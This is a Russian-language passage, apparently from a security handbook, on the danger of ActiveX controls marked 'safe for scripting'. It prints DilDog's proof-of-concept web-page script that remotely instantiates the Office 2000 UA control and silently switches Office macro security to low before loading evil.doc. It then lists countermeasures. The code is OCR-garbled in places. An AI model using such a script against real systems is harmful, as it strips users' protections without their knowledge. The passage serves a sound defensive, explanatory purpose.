Элементы ActiveX компании Microsoft
Вполне закономерно, что почти год спустя хакером DilDog из группы "Cult of the Dead Caw" (см. главу 4 о знаменитом программном продукте Back Orifice) был обнаружен еще один подобный элемент управления под именем Office 2000 UA (OUA). Он регистрируется системой во время установки компонентов Microsoft Office. Для доказательства своей концепции хакер DilDog создал Web-страницу, посредством которой можно удаленно инстанцировать элемент OUA, установленный в системе пользователя, а затем с его помощью отключить защиту макросов документов Office без предупреждения пользователя. Далее с этой страницы загружается файл с именем evil.doc, в котором содержится простой макрос, создающий файл С: \dildog-was-here .txt. Удаленное инетанцирование OUA осуществляется с помощью следующего кода, внедренного на Web-странице .var ua;
function setup() { // Создание элемента UA ua = new ActiveXObject("OUACTRL.OUACTRL.1"); // Присоединение объекта ua к объекту ppt ua.WndClass= "OpusApp"; ua.OfficeApp=0; // Проверка того, что объекты UA "видят" приложение Office return ua.IsAppRunning(); ) function disablemacroprotection() { var ret; // Активизация приложения ua.AppActivate(); // Отображение диалогового окна защиты макросов ua.ShowDialog(ОхОЕ2В); // Щелчок на кнопке 'low' ua.SelectTabSDM(Ox!3); // Щелчок на кнопке 'ok' ua.SelectTabSDM(l); } function enablemacroprotection() { // Активизация приложения ua.AppActivate (); // Отображение диалогового окна защиты макросов ua.ShowDialog(OxOE2B); // Щелчок на кнопке 'medium' ua.SelectTabSDM(0x12); // Щелчок на кнопке 'ok' ua.SelectTabSDM(1); } // Начало выполнения сценария if(setupO) { disablemacroprotection(); parent.frames["blank"].location– } </script> </body> </html>
Элементы управления, помеченные как "safe for scripting", могут вызываться также из электронных сообщений в формате HTML. В этом случае их гораздо легче разместить в нужном месте, поэтому они могут быть более опасны. Подобные "бомбы" обсуждаются в следующих разделах, посвященных хакингу через электронную почту.
Защита от использования флага "safe for scripting"
Для защиты от этих серьезных изъянов пользователям Internet можно предложить три метода. Мы рекомендуем воспользоваться всеми тремя способами.
Во-первых, установите все имеющиеся модули обновления. Однако не забывайте о том, что это лишь локальное решение проблемы: при использовании этих модулей обновления флаг "safe for scripting" будет изменен только для конкретных элементов управления. Они не обеспечивают глобальной защиты против любых атак, основанных на применении других элементов управления, помеченных как безопасные. Мы еще не до конца обсудили "случайного троянского коня" и вернемся к нему немного позже.
Вторая контрмера направлена исключительно против элемента OUA и ему подобных, использующих для выполнения своей грязной работы макросы Office. В Office 2000 установите самый высокий уровень защиты макросов (High), выбрав команду Tools › Macro › Security (таким образом необходимо настроить каждое приложение в отдельности, поскольку это нельзя сделать глобально).
Третья и наиболее эффективная контрмера заключается в ограничении использования или полном отключении элементов управления ActiveX. О том, как это сделать, рассказывается в разделе, посвященном зонам безопасности. Но перед этим следует уделить внимание еще одному изъяну, связанному с элементами ActiveX.
Разработчикам можно посоветовать, чтобы они не устанавливали флаг "safe for scripting" для тех элементов управления, которые выполняют в пользовательской системе действия с высокими привилегиями. Конечно, это касается только тех, кто не хочет превзойти Георгия Гунинского.
После инстанцирования элементы управления ActiveX остаются в памяти до тех пор, пока не будут выгружены. Для этого в командной строке введите команду:
regsvr32 /u [Имя_элемента]